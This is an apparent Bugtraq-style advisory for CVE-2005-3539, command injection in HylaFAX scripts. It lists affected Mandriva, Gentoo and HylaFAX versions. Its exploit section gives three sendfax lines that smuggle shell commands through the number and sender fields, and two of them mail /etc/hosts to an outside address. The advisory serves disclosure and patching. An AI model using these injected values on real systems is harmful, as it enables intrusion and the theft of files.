Hylafax Multiple Scripts Remote Command Execution Vulnerability

BID:16151

Info

Hylafax Multiple Scripts Remote Command Execution Vulnerability

Bugtraq ID: 16151
Class: Input Validation Error
CVE: CVE-2005-3539
Remote: Yes
Local: No
Published: Jan 05 2006 12:00AM
Updated: Aug 11 2006 09:25PM
Credit: Patrice Fournier of iFAX Solutions, Inc. is credited with the discovery of these vulnerabilities.
Vulnerable: Mandriva Linux Mandrake 2006.0 x86_64
Mandriva Linux Mandrake 2006.0
Mandriva Linux Mandrake 10.2 x86_64
Mandriva Linux Mandrake 10.2
Mandriva Linux Mandrake 10.1 x86_64
Mandriva Linux Mandrake 10.1
Hylafax Hylafax 4.2.3
Hylafax Hylafax 4.2.2
Hylafax Hylafax 4.2.1
- Gentoo Linux
Hylafax Hylafax 4.2
Hylafax Hylafax 4.1.1
+ Debian Linux 3.0
Gentoo Linux
Not Vulnerable: Hylafax Hylafax 4.2.4

Discussion

Hylafax Multiple Scripts Remote Command Execution Vulnerability

HylaFAX is vulnerable to multiple arbitrary command-execution vulnerabilities. This issue is due to a failure in the application to properly sanitize user-supplied input.

These vulnerabilities allow an attacker to execute arbitrary commands in the context of the affected application. Successful exploitation may facilitate a compromise of the underlying system.

Exploit / POC

Hylafax Multiple Scripts Remote Command Execution Vulnerability

An exploit is not required.

Example commands to exploit these issues have been provided:

sendfax -d "411;number=\`cat /etc/hosts\`" /etc/hosts

sendfax -f "\`cat /etc/hosts|mail -s hosts [email protected]\` <[email protected]>" -d 411 /etc/hosts

sendfax -d "@411\";cat /etc/hosts|mail -s hosts [email protected];" /etc/hosts

Solution / Fix

Hylafax Multiple Scripts Remote Command Execution Vulnerability

Solution:
Please see the referenced advisories for more information.

The vendor has released an updated version addressing this issue:


Hylafax Hylafax 4.1.1

Hylafax Hylafax 4.2

Hylafax Hylafax 4.2.1

Hylafax Hylafax 4.2.2

Hylafax Hylafax 4.2.3

References

Hylafax Multiple Scripts Remote Command Execution Vulnerability

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